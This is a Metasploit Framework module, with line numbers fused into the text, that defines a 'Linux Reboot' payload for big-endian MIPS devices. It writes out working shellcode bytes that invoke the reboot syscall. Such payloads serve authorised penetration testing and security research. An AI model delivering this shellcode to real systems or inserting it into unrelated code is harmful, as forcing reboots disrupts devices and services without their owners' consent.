Path: blob/master/modules/payloads/singles/linux/mipsbe/reboot.rb
28354 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 3278include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system.17This payload is sometimes helpful for testing purposes or executing18other payloads that rely on initial startup procedures.19Requires CAP_SYS_BOOT privileges.20},21'Author' => [22'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload23'rigan - <imrigan[at]gmail.com>' # original payload24],25'References' => [26['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],27['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']28],29'License' => MSF_LICENSE,30'Platform' => 'linux',31'Arch' => ARCH_MIPSBE,32'Payload' => {33'Offsets' => {},34'Payload' => ''35}36)37)38end3940def generate(_opts = {})41shellcode =42"\x3c\x06\x43\x21" + # lui a2,0x432143"\x34\xc6\xfe\xdc" + # ori a2,a2,0xfedc44"\x3c\x05\x28\x12" + # lui a1,0x281245"\x34\xa5\x19\x69" + # ori a1,a1,0x196946"\x3c\x04\xfe\xe1" + # lui a0,0xfee147"\x34\x84\xde\xad" + # ori a0,a0,0xdead48"\x24\x02\x0f\xf8" + # li v0,408849"\x01\x01\x01\x0c" # syscall 0x404045051return super + shellcode52end53end545556